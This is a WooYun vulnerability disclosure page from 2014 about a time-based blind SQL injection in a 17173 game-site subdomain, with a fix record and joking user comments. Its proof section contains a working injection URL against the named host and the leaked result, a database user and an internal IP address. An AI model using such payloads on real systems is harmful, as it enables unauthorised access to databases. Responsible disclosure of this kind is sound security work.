当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087196

漏洞标题：17173某分站SQL注入一枚

相关厂商：17173游戏

漏洞作者： 小川

提交时间：2014-12-15 11:21

修复时间：2014-12-18 10:29

公开时间：2014-12-18 10:29

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-15： 细节已通知厂商并且等待厂商处理中
2014-12-16： 厂商已经确认，细节仅向厂商公开
2014-12-18： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

延时注入的说~

详细说明：

ragecomic.png

漏洞证明：

http://zq.17173.com/sc2/replay/view.php?id=430 and (select ASCII(SUBSTR(user(),1,1)))=122 and sleep(5)
zquser@10.59.67.88

修复方案：

id整形的说

版权声明：转载请注明来源 小川@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-12-16 11:24

厂商回复：

多谢:)

最新状态：

2014-12-18：更新状态

漏洞评价：

评论

  1. 2014-12-15 11:27 | 雅柏菲卡 ( 普通白帽子 | Rank:1213 漏洞数:234 | 雙魚座聖鬥士雅柏菲卡)

    有漫画不？

  2. 2014-12-15 11:37 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    暴漫更新了

  3. 2014-12-15 11:53 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @雅柏菲卡 @bey0nd 你们就没有人期待看下漏洞细节吗.............

  4. 2014-12-15 12:00 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    我就要看你的漫画

  5. 2014-12-15 12:15 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人！)

    @小川 死鬼，想死我了

  6. 2014-12-15 12:15 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    @小川 不要在意这些细节

  7. 2014-12-15 14:29 | 雅柏菲卡 ( 普通白帽子 | Rank:1213 漏洞数:234 | 雙魚座聖鬥士雅柏菲卡)

    @小川 细节和漫画一样重要

  8. 2014-12-15 15:21 | 酱油党 ( 路人 | Rank:2 漏洞数:2 | 跳槽观望中)

    有漫画不？

  9. 2014-12-15 23:14 | Martes ( 路人 | Rank:21 漏洞数:3 | 人若无名，便可专心练剑)

    膜拜川神！搬小板凳等饱满了

  10. 2014-12-16 11:29 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    川神也搞注入了，不科学啊！！

  11. 2014-12-16 12:05 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人！)

    @小胖子 姐夫，啥时候教我搞注入？

  12. 2014-12-16 12:13 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @小胖子 被你们逼的啊

  13. 2014-12-16 14:00 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习，向各位大神致敬)

    坐等漫画

  14. 2014-12-16 15:09 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @Focusstart 姐姐妹妹都出卖了..........为什没有我的

  15. 2014-12-18 13:40 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    菜逼

  16. 2014-12-18 15:36 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了，也来挖挖漏洞，为创建安全...)

    没看明白，sleep(5)是在SQL中执行的？还是在代码中执行的？看上去是SQL中，可是。。。sql中没有sleep语句啊

  17. 2014-12-18 15:50 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了，也来挖挖漏洞，为创建安全...)

    好吧，研究明白了，在select里面可以支持sleep，但where中不支持

  18. 2015-01-27 21:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    上工具，马上就扫到了一个，啥工具？

  19. 2015-01-29 17:35 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    暴漫更新了